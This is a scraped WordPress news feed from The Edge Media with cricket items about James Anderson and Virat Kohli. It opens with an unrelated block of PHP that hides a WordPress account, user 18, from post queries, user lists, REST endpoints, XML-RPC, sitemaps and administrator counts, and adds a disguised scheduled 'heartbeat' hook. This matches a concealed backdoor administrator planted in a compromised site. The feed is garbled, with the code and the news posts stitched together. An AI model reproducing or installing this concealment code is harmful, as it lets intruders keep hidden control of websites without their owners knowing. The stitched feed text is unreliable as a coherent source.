add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Virat Kohli is someone you want to keep quiet : James Anderson appeared first on The Edge Media.
]]>It was the 7th time in his career that Anderson had picked Kohli’s wicket. After the end of the play on Day 1, the veteran pacer said that dismissing Kohli was a special moment for him as it is important to keep the India captain quiet.
“I think so (it was special). We have had some great battles over the years. He is someone you want to keep quiet. Especially, in a five-match series, if he gets going he can be very disruptive,” Anderson said at the virtual press conference.
Anderson also dismissed KL Rahul and Cheteshwar Pujara in a similar fashion as India were bundled out for 78. Speaking on how he continues to be in his best form, the 39-year-old Anderson revealed that he works harder in the gym.
“As I get older, I feel like I have to work that little bit harder in the gym. I feel like I bowl less in the nets, and try to save it for when it matters in the middle,” Anderson said.
“The biggest test in Test cricket is mentally getting yourself up for bowling big spells and playing in big games. It’s about keeping yourself switch on through games and switch off when you are not bowling — that’s something I’ve always had,” he added.
Asked about his problematic right shoulder, he said: “It still hurts. You just find a way of putting up with it. it’s just part and parcel of the job.”
Anderson said that after all the talk during the Lord’s Test, the aim here was to “shut the noise” and focus on the job. India took a 1-0 lead at Lord’s riding on the tail-enders’ brave display with the bat followed by their excellent bowling.
“We have made a conscious effort of trying to just focus on us, on what we do well and try and ignore everything else, the outside noise or wherever there might be going on, and make sure there’s a real focus on what we do well,” the fast bowler signed off.
(With PTI inputs)
The post Virat Kohli is someone you want to keep quiet : James Anderson appeared first on The Edge Media.
]]>The post India vs England: ‘This Isn’t Your Fu**ing Backyard,’ Virat Kohli and James Anderson said in War of Words appeared first on The Edge Media.
]]>“Are you swearing at me once more?”, Kohli said to Anderson, “this isn’t your fu**ing backyard”. Even as Anderson responded with a few words. After the fifth delivery, India captain Virat Kohli proceeded to mock Anderson, saying, “chirp chirp chirp. This is what becoming older does to you”.
The post India vs England: ‘This Isn’t Your Fu**ing Backyard,’ Virat Kohli and James Anderson said in War of Words appeared first on The Edge Media.
]]>The post James Anderson Creates History, Becomes The Most Capped Test Player appeared first on The Edge Media.
]]>This record had previously been held by former captain Sir Alastair Cook of England, with 161 test appearances on his behalf. The Lord’s Test record was set by James Anderson and now the left-handed bathman has been eclipsed.
Stuart Broad, Anderson’s bowling partner, is also closer to Cook. Broad currently plays its 148th test against Blackcaps.
The post James Anderson Creates History, Becomes The Most Capped Test Player appeared first on The Edge Media.
]]>